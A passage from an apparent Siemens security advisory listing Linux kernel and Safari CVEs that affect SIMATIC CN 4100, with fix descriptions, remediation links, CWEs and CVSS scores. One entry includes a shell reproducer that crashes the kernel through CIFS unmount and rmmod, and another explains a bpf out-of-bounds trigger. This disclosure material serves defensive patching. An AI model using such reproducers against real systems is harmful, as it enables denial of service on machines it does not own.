class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-407 Inefficient Algorithmic Complexity\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23143\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk->sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk->sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk->sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER=\"10.0.0.137\" CIFS_PATH=\"//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST\" DEV=\"enp0s3\" CRED=\"/root/WindowsCredential.txt\" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23160\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-31257\n<div class=\"csaf-accordion-content\">\n\nThis issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37931\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | | | ] bitmap Now we use all of our addressing based on fs_info->sectorsize_bits, so as you can see the above our 16k eb->start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb->start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info->sectorsize; so in the case above, eb->start 0 is now dirty, and we calculate start as 0 + 1 * fs_info->sectorsize = 4096 4096 >> 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37968\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38322\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 (\"perf/x86/intel: Avoid disable PMU if !cpuc->enabled in sample read\") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38347\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38491\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38502\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current->bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx->prog_item->cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &READ_ONCE(storage->buf)->data[0]; else ptr = this_cpu_ptr(storage->percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38552\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38614\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed (\"epoll: limit paths\"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 (\"eventpoll: Fix priority inversion problem\").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38670\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the 